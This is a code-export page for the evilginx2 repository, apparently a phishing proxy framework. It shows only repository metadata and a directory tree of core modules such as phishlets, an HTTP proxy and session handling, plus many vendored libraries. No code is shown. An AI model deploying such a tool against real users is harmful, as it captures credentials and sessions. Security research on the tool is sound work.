Full Code of kgretzky/evilginx2 for AI

master 30f20165749a cached
1318 files
16.9 MB
4.1M tokens
103579 symbols
1 requests
Copy disabled (too large) Download .txt
Showing preview only (16,205K chars total). Download the full file to get everything.
Repository: kgretzky/evilginx2
Branch: master
Commit: 30f20165749a
Files: 1318
Total size: 16.9 MB

Directory structure:
gitextract_rj532f0j/

├── .dockerignore
├── .github/
│   └── FUNDING.yml
├── .gitignore
├── .travis.yml
├── CHANGELOG
├── ISSUE_TEMPLATE.md
├── LICENSE
├── Makefile
├── README.md
├── build.bat
├── build_run.bat
├── core/
│   ├── banner.go
│   ├── blacklist.go
│   ├── certdb.go
│   ├── config.go
│   ├── gophish.go
│   ├── help.go
│   ├── http_proxy.go
│   ├── http_server.go
│   ├── nameserver.go
│   ├── phishlet.go
│   ├── scripts.go
│   ├── session.go
│   ├── shared.go
│   ├── table.go
│   ├── terminal.go
│   └── utils.go
├── database/
│   ├── database.go
│   └── db_session.go
├── go.mod
├── go.sum
├── log/
│   └── log.go
├── main.go
├── parser/
│   └── parser.go
├── redirectors/
│   ├── download_example/
│   │   └── index.html
│   └── turnstile/
│       └── index.html
└── vendor/
    ├── github.com/
    │   ├── caddyserver/
    │   │   └── certmagic/
    │   │       ├── .gitignore
    │   │       ├── LICENSE.txt
    │   │       ├── README.md
    │   │       ├── account.go
    │   │       ├── acmeclient.go
    │   │       ├── acmeissuer.go
    │   │       ├── async.go
    │   │       ├── cache.go
    │   │       ├── certificates.go
    │   │       ├── certmagic.go
    │   │       ├── config.go
    │   │       ├── crypto.go
    │   │       ├── dnsutil.go
    │   │       ├── filestorage.go
    │   │       ├── handshake.go
    │   │       ├── httphandler.go
    │   │       ├── maintain.go
    │   │       ├── ocsp.go
    │   │       ├── ratelimiter.go
    │   │       ├── solvers.go
    │   │       └── storage.go
    │   ├── cenkalti/
    │   │   └── backoff/
    │   │       └── v3/
    │   │           ├── .gitignore
    │   │           ├── .travis.yml
    │   │           ├── LICENSE
    │   │           ├── README.md
    │   │           ├── backoff.go
    │   │           ├── context.go
    │   │           ├── exponential.go
    │   │           ├── retry.go
    │   │           ├── ticker.go
    │   │           └── tries.go
    │   ├── chzyer/
    │   │   └── readline/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── CHANGELOG.md
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── ansi_windows.go
    │   │       ├── complete.go
    │   │       ├── complete_helper.go
    │   │       ├── complete_segment.go
    │   │       ├── history.go
    │   │       ├── operation.go
    │   │       ├── password.go
    │   │       ├── rawreader_windows.go
    │   │       ├── readline.go
    │   │       ├── remote.go
    │   │       ├── runebuf.go
    │   │       ├── runes.go
    │   │       ├── search.go
    │   │       ├── std.go
    │   │       ├── std_windows.go
    │   │       ├── term.go
    │   │       ├── term_bsd.go
    │   │       ├── term_linux.go
    │   │       ├── term_solaris.go
    │   │       ├── term_unix.go
    │   │       ├── term_windows.go
    │   │       ├── terminal.go
    │   │       ├── utils.go
    │   │       ├── utils_unix.go
    │   │       ├── utils_windows.go
    │   │       ├── vim.go
    │   │       └── windows_api.go
    │   ├── elazarl/
    │   │   └── goproxy/
    │   │       ├── .gitignore
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── actions.go
    │   │       ├── all.bash
    │   │       ├── ca.pem
    │   │       ├── certs.go
    │   │       ├── chunked.go
    │   │       ├── counterecryptor.go
    │   │       ├── ctx.go
    │   │       ├── dispatcher.go
    │   │       ├── doc.go
    │   │       ├── https.go
    │   │       ├── key.pem
    │   │       ├── logger.go
    │   │       ├── proxy.go
    │   │       ├── responses.go
    │   │       ├── signer.go
    │   │       └── websocket.go
    │   ├── fatih/
    │   │   └── color/
    │   │       ├── LICENSE.md
    │   │       ├── README.md
    │   │       ├── color.go
    │   │       └── doc.go
    │   ├── fsnotify/
    │   │   └── fsnotify/
    │   │       ├── .editorconfig
    │   │       ├── .gitattributes
    │   │       ├── .gitignore
    │   │       ├── .mailmap
    │   │       ├── AUTHORS
    │   │       ├── CHANGELOG.md
    │   │       ├── CONTRIBUTING.md
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── fen.go
    │   │       ├── fsnotify.go
    │   │       ├── inotify.go
    │   │       ├── inotify_poller.go
    │   │       ├── kqueue.go
    │   │       ├── open_mode_bsd.go
    │   │       ├── open_mode_darwin.go
    │   │       └── windows.go
    │   ├── go-acme/
    │   │   └── lego/
    │   │       └── v3/
    │   │           ├── LICENSE
    │   │           ├── acme/
    │   │           │   ├── api/
    │   │           │   │   ├── account.go
    │   │           │   │   ├── api.go
    │   │           │   │   ├── authorization.go
    │   │           │   │   ├── certificate.go
    │   │           │   │   ├── challenge.go
    │   │           │   │   ├── internal/
    │   │           │   │   │   ├── nonces/
    │   │           │   │   │   │   └── nonce_manager.go
    │   │           │   │   │   ├── secure/
    │   │           │   │   │   │   └── jws.go
    │   │           │   │   │   └── sender/
    │   │           │   │   │       ├── sender.go
    │   │           │   │   │       └── useragent.go
    │   │           │   │   ├── order.go
    │   │           │   │   └── service.go
    │   │           │   ├── commons.go
    │   │           │   └── errors.go
    │   │           ├── certcrypto/
    │   │           │   └── crypto.go
    │   │           ├── challenge/
    │   │           │   ├── challenges.go
    │   │           │   ├── provider.go
    │   │           │   └── tlsalpn01/
    │   │           │       ├── tls_alpn_challenge.go
    │   │           │       └── tls_alpn_challenge_server.go
    │   │           └── log/
    │   │               └── logger.go
    │   ├── go-resty/
    │   │   └── resty/
    │   │       └── v2/
    │   │           ├── .gitignore
    │   │           ├── BUILD.bazel
    │   │           ├── LICENSE
    │   │           ├── README.md
    │   │           ├── WORKSPACE
    │   │           ├── client.go
    │   │           ├── digest.go
    │   │           ├── middleware.go
    │   │           ├── redirect.go
    │   │           ├── request.go
    │   │           ├── response.go
    │   │           ├── resty.go
    │   │           ├── retry.go
    │   │           ├── trace.go
    │   │           ├── transport.go
    │   │           ├── transport112.go
    │   │           ├── transport_js.go
    │   │           ├── transport_other.go
    │   │           └── util.go
    │   ├── gorilla/
    │   │   └── mux/
    │   │       ├── AUTHORS
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── context.go
    │   │       ├── doc.go
    │   │       ├── middleware.go
    │   │       ├── mux.go
    │   │       ├── regexp.go
    │   │       ├── route.go
    │   │       └── test_helpers.go
    │   ├── hashicorp/
    │   │   └── hcl/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── LICENSE
    │   │       ├── Makefile
    │   │       ├── README.md
    │   │       ├── appveyor.yml
    │   │       ├── decoder.go
    │   │       ├── hcl/
    │   │       │   ├── ast/
    │   │       │   │   ├── ast.go
    │   │       │   │   └── walk.go
    │   │       │   ├── parser/
    │   │       │   │   ├── error.go
    │   │       │   │   └── parser.go
    │   │       │   ├── printer/
    │   │       │   │   ├── nodes.go
    │   │       │   │   └── printer.go
    │   │       │   ├── scanner/
    │   │       │   │   └── scanner.go
    │   │       │   ├── strconv/
    │   │       │   │   └── quote.go
    │   │       │   └── token/
    │   │       │       ├── position.go
    │   │       │       └── token.go
    │   │       ├── hcl.go
    │   │       ├── json/
    │   │       │   ├── parser/
    │   │       │   │   ├── flatten.go
    │   │       │   │   └── parser.go
    │   │       │   ├── scanner/
    │   │       │   │   └── scanner.go
    │   │       │   └── token/
    │   │       │       ├── position.go
    │   │       │       └── token.go
    │   │       ├── lex.go
    │   │       └── parse.go
    │   ├── inconshreveable/
    │   │   └── go-vhost/
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── http.go
    │   │       ├── interface.go
    │   │       ├── mux.go
    │   │       ├── shared.go
    │   │       └── tls.go
    │   ├── klauspost/
    │   │   └── cpuid/
    │   │       └── v2/
    │   │           ├── .gitignore
    │   │           ├── .goreleaser.yml
    │   │           ├── CONTRIBUTING.txt
    │   │           ├── LICENSE
    │   │           ├── README.md
    │   │           ├── cpuid.go
    │   │           ├── cpuid_386.s
    │   │           ├── cpuid_amd64.s
    │   │           ├── cpuid_arm64.s
    │   │           ├── detect_arm64.go
    │   │           ├── detect_ref.go
    │   │           ├── detect_x86.go
    │   │           ├── featureid_string.go
    │   │           ├── os_darwin_arm64.go
    │   │           ├── os_linux_arm64.go
    │   │           ├── os_other_arm64.go
    │   │           ├── os_safe_linux_arm64.go
    │   │           ├── os_unsafe_linux_arm64.go
    │   │           └── test-architectures.sh
    │   ├── libdns/
    │   │   └── libdns/
    │   │       ├── .gitignore
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       └── libdns.go
    │   ├── magiconair/
    │   │   └── properties/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── CHANGELOG.md
    │   │       ├── LICENSE.md
    │   │       ├── README.md
    │   │       ├── decode.go
    │   │       ├── doc.go
    │   │       ├── integrate.go
    │   │       ├── lex.go
    │   │       ├── load.go
    │   │       ├── parser.go
    │   │       ├── properties.go
    │   │       └── rangecheck.go
    │   ├── mattn/
    │   │   ├── go-colorable/
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   ├── colorable_appengine.go
    │   │   │   ├── colorable_others.go
    │   │   │   ├── colorable_windows.go
    │   │   │   ├── go.test.sh
    │   │   │   └── noncolorable.go
    │   │   └── go-isatty/
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── doc.go
    │   │       ├── go.test.sh
    │   │       ├── isatty_bsd.go
    │   │       ├── isatty_others.go
    │   │       ├── isatty_plan9.go
    │   │       ├── isatty_solaris.go
    │   │       ├── isatty_tcgets.go
    │   │       └── isatty_windows.go
    │   ├── mholt/
    │   │   └── acmez/
    │   │       ├── .gitignore
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── THIRD-PARTY
    │   │       ├── acme/
    │   │       │   ├── account.go
    │   │       │   ├── ari.go
    │   │       │   ├── authorization.go
    │   │       │   ├── certificate.go
    │   │       │   ├── challenge.go
    │   │       │   ├── client.go
    │   │       │   ├── http.go
    │   │       │   ├── jws.go
    │   │       │   ├── order.go
    │   │       │   └── problem.go
    │   │       ├── client.go
    │   │       ├── csr.go
    │   │       ├── solver.go
    │   │       └── tlsalpn01.go
    │   ├── miekg/
    │   │   └── dns/
    │   │       ├── .codecov.yml
    │   │       ├── .gitignore
    │   │       ├── AUTHORS
    │   │       ├── CODEOWNERS
    │   │       ├── CONTRIBUTORS
    │   │       ├── COPYRIGHT
    │   │       ├── LICENSE
    │   │       ├── Makefile.fuzz
    │   │       ├── Makefile.release
    │   │       ├── README.md
    │   │       ├── acceptfunc.go
    │   │       ├── client.go
    │   │       ├── clientconfig.go
    │   │       ├── dane.go
    │   │       ├── defaults.go
    │   │       ├── dns.go
    │   │       ├── dnssec.go
    │   │       ├── dnssec_keygen.go
    │   │       ├── dnssec_keyscan.go
    │   │       ├── dnssec_privkey.go
    │   │       ├── doc.go
    │   │       ├── duplicate.go
    │   │       ├── edns.go
    │   │       ├── format.go
    │   │       ├── fuzz.go
    │   │       ├── generate.go
    │   │       ├── hash.go
    │   │       ├── labels.go
    │   │       ├── listen_no_reuseport.go
    │   │       ├── listen_reuseport.go
    │   │       ├── msg.go
    │   │       ├── msg_helpers.go
    │   │       ├── msg_truncate.go
    │   │       ├── nsecx.go
    │   │       ├── privaterr.go
    │   │       ├── reverse.go
    │   │       ├── sanitize.go
    │   │       ├── scan.go
    │   │       ├── scan_rr.go
    │   │       ├── serve_mux.go
    │   │       ├── server.go
    │   │       ├── sig0.go
    │   │       ├── smimea.go
    │   │       ├── svcb.go
    │   │       ├── tlsa.go
    │   │       ├── tools.go
    │   │       ├── tsig.go
    │   │       ├── types.go
    │   │       ├── udp.go
    │   │       ├── udp_windows.go
    │   │       ├── update.go
    │   │       ├── version.go
    │   │       ├── xfr.go
    │   │       ├── zduplicate.go
    │   │       ├── zmsg.go
    │   │       └── ztypes.go
    │   ├── mitchellh/
    │   │   └── mapstructure/
    │   │       ├── CHANGELOG.md
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── decode_hooks.go
    │   │       ├── error.go
    │   │       └── mapstructure.go
    │   ├── mwitkow/
    │   │   └── go-http-dialer/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── auth.go
    │   │       └── dialer.go
    │   ├── pelletier/
    │   │   └── go-toml/
    │   │       ├── .dockerignore
    │   │       ├── .gitignore
    │   │       ├── CONTRIBUTING.md
    │   │       ├── Dockerfile
    │   │       ├── LICENSE
    │   │       ├── Makefile
    │   │       ├── PULL_REQUEST_TEMPLATE.md
    │   │       ├── README.md
    │   │       ├── azure-pipelines.yml
    │   │       ├── benchmark.sh
    │   │       ├── doc.go
    │   │       ├── example-crlf.toml
    │   │       ├── example.toml
    │   │       ├── fuzz.go
    │   │       ├── fuzz.sh
    │   │       ├── keysparsing.go
    │   │       ├── lexer.go
    │   │       ├── localtime.go
    │   │       ├── marshal.go
    │   │       ├── marshal_OrderPreserve_test.toml
    │   │       ├── marshal_test.toml
    │   │       ├── parser.go
    │   │       ├── position.go
    │   │       ├── token.go
    │   │       ├── toml.go
    │   │       ├── tomlpub.go
    │   │       ├── tomltree_create.go
    │   │       ├── tomltree_write.go
    │   │       └── tomltree_writepub.go
    │   ├── spf13/
    │   │   ├── afero/
    │   │   │   ├── .gitignore
    │   │   │   ├── .travis.yml
    │   │   │   ├── LICENSE.txt
    │   │   │   ├── README.md
    │   │   │   ├── afero.go
    │   │   │   ├── appveyor.yml
    │   │   │   ├── basepath.go
    │   │   │   ├── cacheOnReadFs.go
    │   │   │   ├── const_bsds.go
    │   │   │   ├── const_win_unix.go
    │   │   │   ├── copyOnWriteFs.go
    │   │   │   ├── httpFs.go
    │   │   │   ├── iofs.go
    │   │   │   ├── ioutil.go
    │   │   │   ├── lstater.go
    │   │   │   ├── match.go
    │   │   │   ├── mem/
    │   │   │   │   ├── dir.go
    │   │   │   │   ├── dirmap.go
    │   │   │   │   └── file.go
    │   │   │   ├── memmap.go
    │   │   │   ├── os.go
    │   │   │   ├── path.go
    │   │   │   ├── readonlyfs.go
    │   │   │   ├── regexpfs.go
    │   │   │   ├── symlink.go
    │   │   │   ├── unionFile.go
    │   │   │   └── util.go
    │   │   ├── cast/
    │   │   │   ├── .gitignore
    │   │   │   ├── LICENSE
    │   │   │   ├── Makefile
    │   │   │   ├── README.md
    │   │   │   ├── cast.go
    │   │   │   ├── caste.go
    │   │   │   └── timeformattype_string.go
    │   │   ├── jwalterweatherman/
    │   │   │   ├── .gitignore
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   ├── default_notepad.go
    │   │   │   ├── log_counter.go
    │   │   │   └── notepad.go
    │   │   └── pflag/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── bool.go
    │   │       ├── bool_slice.go
    │   │       ├── bytes.go
    │   │       ├── count.go
    │   │       ├── duration.go
    │   │       ├── duration_slice.go
    │   │       ├── flag.go
    │   │       ├── float32.go
    │   │       ├── float32_slice.go
    │   │       ├── float64.go
    │   │       ├── float64_slice.go
    │   │       ├── golangflag.go
    │   │       ├── int.go
    │   │       ├── int16.go
    │   │       ├── int32.go
    │   │       ├── int32_slice.go
    │   │       ├── int64.go
    │   │       ├── int64_slice.go
    │   │       ├── int8.go
    │   │       ├── int_slice.go
    │   │       ├── ip.go
    │   │       ├── ip_slice.go
    │   │       ├── ipmask.go
    │   │       ├── ipnet.go
    │   │       ├── string.go
    │   │       ├── string_array.go
    │   │       ├── string_slice.go
    │   │       ├── string_to_int.go
    │   │       ├── string_to_int64.go
    │   │       ├── string_to_string.go
    │   │       ├── uint.go
    │   │       ├── uint16.go
    │   │       ├── uint32.go
    │   │       ├── uint64.go
    │   │       ├── uint8.go
    │   │       └── uint_slice.go
    │   ├── subosito/
    │   │   └── gotenv/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── CHANGELOG.md
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── appveyor.yml
    │   │       └── gotenv.go
    │   ├── tidwall/
    │   │   ├── btree/
    │   │   │   ├── .travis.yml
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   └── btree.go
    │   │   ├── buntdb/
    │   │   │   ├── .travis.yml
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   └── buntdb.go
    │   │   ├── gjson/
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   ├── SYNTAX.md
    │   │   │   └── gjson.go
    │   │   ├── grect/
    │   │   │   ├── LICENSE.md
    │   │   │   ├── README.md
    │   │   │   └── grect.go
    │   │   ├── match/
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   └── match.go
    │   │   ├── pretty/
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   └── pretty.go
    │   │   ├── rtree/
    │   │   │   ├── .travis.yml
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   ├── base/
    │   │   │   │   ├── knn.go
    │   │   │   │   ├── load.go
    │   │   │   │   └── rtree.go
    │   │   │   └── rtree.go
    │   │   └── tinyqueue/
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       └── tinyqueue.go
    │   └── zeebo/
    │       └── blake3/
    │           ├── .gitignore
    │           ├── LICENSE
    │           ├── Makefile
    │           ├── README.md
    │           ├── api.go
    │           ├── blake3.go
    │           ├── digest.go
    │           └── internal/
    │               ├── alg/
    │               │   ├── alg.go
    │               │   ├── compress/
    │               │   │   ├── compress.go
    │               │   │   ├── compress_pure/
    │               │   │   │   └── compress.go
    │               │   │   └── compress_sse41/
    │               │   │       ├── impl_amd64.s
    │               │   │       ├── impl_other.go
    │               │   │       └── stubs.go
    │               │   └── hash/
    │               │       ├── hash.go
    │               │       ├── hash_avx2/
    │               │       │   ├── impl_amd64.s
    │               │       │   ├── impl_other.go
    │               │       │   └── stubs.go
    │               │       └── hash_pure/
    │               │           ├── hashf.go
    │               │           └── hashp.go
    │               ├── consts/
    │               │   ├── consts.go
    │               │   ├── cpu.go
    │               │   ├── cpu_little.go
    │               │   └── cpu_other.go
    │               └── utils/
    │                   └── utils.go
    ├── golang.org/
    │   └── x/
    │       ├── crypto/
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   ├── cryptobyte/
    │       │   │   ├── asn1/
    │       │   │   │   └── asn1.go
    │       │   │   ├── asn1.go
    │       │   │   ├── builder.go
    │       │   │   └── string.go
    │       │   ├── ed25519/
    │       │   │   └── ed25519.go
    │       │   ├── ocsp/
    │       │   │   └── ocsp.go
    │       │   └── pbkdf2/
    │       │       └── pbkdf2.go
    │       ├── mod/
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   └── semver/
    │       │       └── semver.go
    │       ├── net/
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   ├── bpf/
    │       │   │   ├── asm.go
    │       │   │   ├── constants.go
    │       │   │   ├── doc.go
    │       │   │   ├── instructions.go
    │       │   │   ├── setter.go
    │       │   │   ├── vm.go
    │       │   │   └── vm_instructions.go
    │       │   ├── idna/
    │       │   │   ├── go118.go
    │       │   │   ├── idna10.0.0.go
    │       │   │   ├── idna9.0.0.go
    │       │   │   ├── pre_go118.go
    │       │   │   ├── punycode.go
    │       │   │   ├── tables10.0.0.go
    │       │   │   ├── tables11.0.0.go
    │       │   │   ├── tables12.0.0.go
    │       │   │   ├── tables13.0.0.go
    │       │   │   ├── tables15.0.0.go
    │       │   │   ├── tables9.0.0.go
    │       │   │   ├── trie.go
    │       │   │   ├── trie12.0.0.go
    │       │   │   ├── trie13.0.0.go
    │       │   │   └── trieval.go
    │       │   ├── internal/
    │       │   │   ├── iana/
    │       │   │   │   └── const.go
    │       │   │   ├── socket/
    │       │   │   │   ├── cmsghdr.go
    │       │   │   │   ├── cmsghdr_bsd.go
    │       │   │   │   ├── cmsghdr_linux_32bit.go
    │       │   │   │   ├── cmsghdr_linux_64bit.go
    │       │   │   │   ├── cmsghdr_solaris_64bit.go
    │       │   │   │   ├── cmsghdr_stub.go
    │       │   │   │   ├── cmsghdr_unix.go
    │       │   │   │   ├── cmsghdr_zos_s390x.go
    │       │   │   │   ├── complete_dontwait.go
    │       │   │   │   ├── complete_nodontwait.go
    │       │   │   │   ├── empty.s
    │       │   │   │   ├── error_unix.go
    │       │   │   │   ├── error_windows.go
    │       │   │   │   ├── iovec_32bit.go
    │       │   │   │   ├── iovec_64bit.go
    │       │   │   │   ├── iovec_solaris_64bit.go
    │       │   │   │   ├── iovec_stub.go
    │       │   │   │   ├── mmsghdr_stub.go
    │       │   │   │   ├── mmsghdr_unix.go
    │       │   │   │   ├── msghdr_bsd.go
    │       │   │   │   ├── msghdr_bsdvar.go
    │       │   │   │   ├── msghdr_linux.go
    │       │   │   │   ├── msghdr_linux_32bit.go
    │       │   │   │   ├── msghdr_linux_64bit.go
    │       │   │   │   ├── msghdr_openbsd.go
    │       │   │   │   ├── msghdr_solaris_64bit.go
    │       │   │   │   ├── msghdr_stub.go
    │       │   │   │   ├── msghdr_zos_s390x.go
    │       │   │   │   ├── norace.go
    │       │   │   │   ├── race.go
    │       │   │   │   ├── rawconn.go
    │       │   │   │   ├── rawconn_mmsg.go
    │       │   │   │   ├── rawconn_msg.go
    │       │   │   │   ├── rawconn_nommsg.go
    │       │   │   │   ├── rawconn_nomsg.go
    │       │   │   │   ├── socket.go
    │       │   │   │   ├── sys.go
    │       │   │   │   ├── sys_bsd.go
    │       │   │   │   ├── sys_const_unix.go
    │       │   │   │   ├── sys_linux.go
    │       │   │   │   ├── sys_linux_386.go
    │       │   │   │   ├── sys_linux_386.s
    │       │   │   │   ├── sys_linux_amd64.go
    │       │   │   │   ├── sys_linux_arm.go
    │       │   │   │   ├── sys_linux_arm64.go
    │       │   │   │   ├── sys_linux_loong64.go
    │       │   │   │   ├── sys_linux_mips.go
    │       │   │   │   ├── sys_linux_mips64.go
    │       │   │   │   ├── sys_linux_mips64le.go
    │       │   │   │   ├── sys_linux_mipsle.go
    │       │   │   │   ├── sys_linux_ppc.go
    │       │   │   │   ├── sys_linux_ppc64.go
    │       │   │   │   ├── sys_linux_ppc64le.go
    │       │   │   │   ├── sys_linux_riscv64.go
    │       │   │   │   ├── sys_linux_s390x.go
    │       │   │   │   ├── sys_linux_s390x.s
    │       │   │   │   ├── sys_netbsd.go
    │       │   │   │   ├── sys_posix.go
    │       │   │   │   ├── sys_stub.go
    │       │   │   │   ├── sys_unix.go
    │       │   │   │   ├── sys_windows.go
    │       │   │   │   ├── sys_zos_s390x.go
    │       │   │   │   ├── sys_zos_s390x.s
    │       │   │   │   ├── zsys_aix_ppc64.go
    │       │   │   │   ├── zsys_darwin_amd64.go
    │       │   │   │   ├── zsys_darwin_arm64.go
    │       │   │   │   ├── zsys_dragonfly_amd64.go
    │       │   │   │   ├── zsys_freebsd_386.go
    │       │   │   │   ├── zsys_freebsd_amd64.go
    │       │   │   │   ├── zsys_freebsd_arm.go
    │       │   │   │   ├── zsys_freebsd_arm64.go
    │       │   │   │   ├── zsys_freebsd_riscv64.go
    │       │   │   │   ├── zsys_linux_386.go
    │       │   │   │   ├── zsys_linux_amd64.go
    │       │   │   │   ├── zsys_linux_arm.go
    │       │   │   │   ├── zsys_linux_arm64.go
    │       │   │   │   ├── zsys_linux_loong64.go
    │       │   │   │   ├── zsys_linux_mips.go
    │       │   │   │   ├── zsys_linux_mips64.go
    │       │   │   │   ├── zsys_linux_mips64le.go
    │       │   │   │   ├── zsys_linux_mipsle.go
    │       │   │   │   ├── zsys_linux_ppc.go
    │       │   │   │   ├── zsys_linux_ppc64.go
    │       │   │   │   ├── zsys_linux_ppc64le.go
    │       │   │   │   ├── zsys_linux_riscv64.go
    │       │   │   │   ├── zsys_linux_s390x.go
    │       │   │   │   ├── zsys_netbsd_386.go
    │       │   │   │   ├── zsys_netbsd_amd64.go
    │       │   │   │   ├── zsys_netbsd_arm.go
    │       │   │   │   ├── zsys_netbsd_arm64.go
    │       │   │   │   ├── zsys_openbsd_386.go
    │       │   │   │   ├── zsys_openbsd_amd64.go
    │       │   │   │   ├── zsys_openbsd_arm.go
    │       │   │   │   ├── zsys_openbsd_arm64.go
    │       │   │   │   ├── zsys_openbsd_mips64.go
    │       │   │   │   ├── zsys_openbsd_ppc64.go
    │       │   │   │   ├── zsys_openbsd_riscv64.go
    │       │   │   │   ├── zsys_solaris_amd64.go
    │       │   │   │   └── zsys_zos_s390x.go
    │       │   │   └── socks/
    │       │   │       ├── client.go
    │       │   │       └── socks.go
    │       │   ├── ipv4/
    │       │   │   ├── batch.go
    │       │   │   ├── control.go
    │       │   │   ├── control_bsd.go
    │       │   │   ├── control_pktinfo.go
    │       │   │   ├── control_stub.go
    │       │   │   ├── control_unix.go
    │       │   │   ├── control_windows.go
    │       │   │   ├── control_zos.go
    │       │   │   ├── dgramopt.go
    │       │   │   ├── doc.go
    │       │   │   ├── endpoint.go
    │       │   │   ├── genericopt.go
    │       │   │   ├── header.go
    │       │   │   ├── helper.go
    │       │   │   ├── iana.go
    │       │   │   ├── icmp.go
    │       │   │   ├── icmp_linux.go
    │       │   │   ├── icmp_stub.go
    │       │   │   ├── packet.go
    │       │   │   ├── payload.go
    │       │   │   ├── payload_cmsg.go
    │       │   │   ├── payload_nocmsg.go
    │       │   │   ├── sockopt.go
    │       │   │   ├── sockopt_posix.go
    │       │   │   ├── sockopt_stub.go
    │       │   │   ├── sys_aix.go
    │       │   │   ├── sys_asmreq.go
    │       │   │   ├── sys_asmreq_stub.go
    │       │   │   ├── sys_asmreqn.go
    │       │   │   ├── sys_asmreqn_stub.go
    │       │   │   ├── sys_bpf.go
    │       │   │   ├── sys_bpf_stub.go
    │       │   │   ├── sys_bsd.go
    │       │   │   ├── sys_darwin.go
    │       │   │   ├── sys_dragonfly.go
    │       │   │   ├── sys_freebsd.go
    │       │   │   ├── sys_linux.go
    │       │   │   ├── sys_solaris.go
    │       │   │   ├── sys_ssmreq.go
    │       │   │   ├── sys_ssmreq_stub.go
    │       │   │   ├── sys_stub.go
    │       │   │   ├── sys_windows.go
    │       │   │   ├── sys_zos.go
    │       │   │   ├── zsys_aix_ppc64.go
    │       │   │   ├── zsys_darwin.go
    │       │   │   ├── zsys_dragonfly.go
    │       │   │   ├── zsys_freebsd_386.go
    │       │   │   ├── zsys_freebsd_amd64.go
    │       │   │   ├── zsys_freebsd_arm.go
    │       │   │   ├── zsys_freebsd_arm64.go
    │       │   │   ├── zsys_freebsd_riscv64.go
    │       │   │   ├── zsys_linux_386.go
    │       │   │   ├── zsys_linux_amd64.go
    │       │   │   ├── zsys_linux_arm.go
    │       │   │   ├── zsys_linux_arm64.go
    │       │   │   ├── zsys_linux_loong64.go
    │       │   │   ├── zsys_linux_mips.go
    │       │   │   ├── zsys_linux_mips64.go
    │       │   │   ├── zsys_linux_mips64le.go
    │       │   │   ├── zsys_linux_mipsle.go
    │       │   │   ├── zsys_linux_ppc.go
    │       │   │   ├── zsys_linux_ppc64.go
    │       │   │   ├── zsys_linux_ppc64le.go
    │       │   │   ├── zsys_linux_riscv64.go
    │       │   │   ├── zsys_linux_s390x.go
    │       │   │   ├── zsys_netbsd.go
    │       │   │   ├── zsys_openbsd.go
    │       │   │   ├── zsys_solaris.go
    │       │   │   └── zsys_zos_s390x.go
    │       │   ├── ipv6/
    │       │   │   ├── batch.go
    │       │   │   ├── control.go
    │       │   │   ├── control_rfc2292_unix.go
    │       │   │   ├── control_rfc3542_unix.go
    │       │   │   ├── control_stub.go
    │       │   │   ├── control_unix.go
    │       │   │   ├── control_windows.go
    │       │   │   ├── dgramopt.go
    │       │   │   ├── doc.go
    │       │   │   ├── endpoint.go
    │       │   │   ├── genericopt.go
    │       │   │   ├── header.go
    │       │   │   ├── helper.go
    │       │   │   ├── iana.go
    │       │   │   ├── icmp.go
    │       │   │   ├── icmp_bsd.go
    │       │   │   ├── icmp_linux.go
    │       │   │   ├── icmp_solaris.go
    │       │   │   ├── icmp_stub.go
    │       │   │   ├── icmp_windows.go
    │       │   │   ├── icmp_zos.go
    │       │   │   ├── payload.go
    │       │   │   ├── payload_cmsg.go
    │       │   │   ├── payload_nocmsg.go
    │       │   │   ├── sockopt.go
    │       │   │   ├── sockopt_posix.go
    │       │   │   ├── sockopt_stub.go
    │       │   │   ├── sys_aix.go
    │       │   │   ├── sys_asmreq.go
    │       │   │   ├── sys_asmreq_stub.go
    │       │   │   ├── sys_bpf.go
    │       │   │   ├── sys_bpf_stub.go
    │       │   │   ├── sys_bsd.go
    │       │   │   ├── sys_darwin.go
    │       │   │   ├── sys_freebsd.go
    │       │   │   ├── sys_linux.go
    │       │   │   ├── sys_solaris.go
    │       │   │   ├── sys_ssmreq.go
    │       │   │   ├── sys_ssmreq_stub.go
    │       │   │   ├── sys_stub.go
    │       │   │   ├── sys_windows.go
    │       │   │   ├── sys_zos.go
    │       │   │   ├── zsys_aix_ppc64.go
    │       │   │   ├── zsys_darwin.go
    │       │   │   ├── zsys_dragonfly.go
    │       │   │   ├── zsys_freebsd_386.go
    │       │   │   ├── zsys_freebsd_amd64.go
    │       │   │   ├── zsys_freebsd_arm.go
    │       │   │   ├── zsys_freebsd_arm64.go
    │       │   │   ├── zsys_freebsd_riscv64.go
    │       │   │   ├── zsys_linux_386.go
    │       │   │   ├── zsys_linux_amd64.go
    │       │   │   ├── zsys_linux_arm.go
    │       │   │   ├── zsys_linux_arm64.go
    │       │   │   ├── zsys_linux_loong64.go
    │       │   │   ├── zsys_linux_mips.go
    │       │   │   ├── zsys_linux_mips64.go
    │       │   │   ├── zsys_linux_mips64le.go
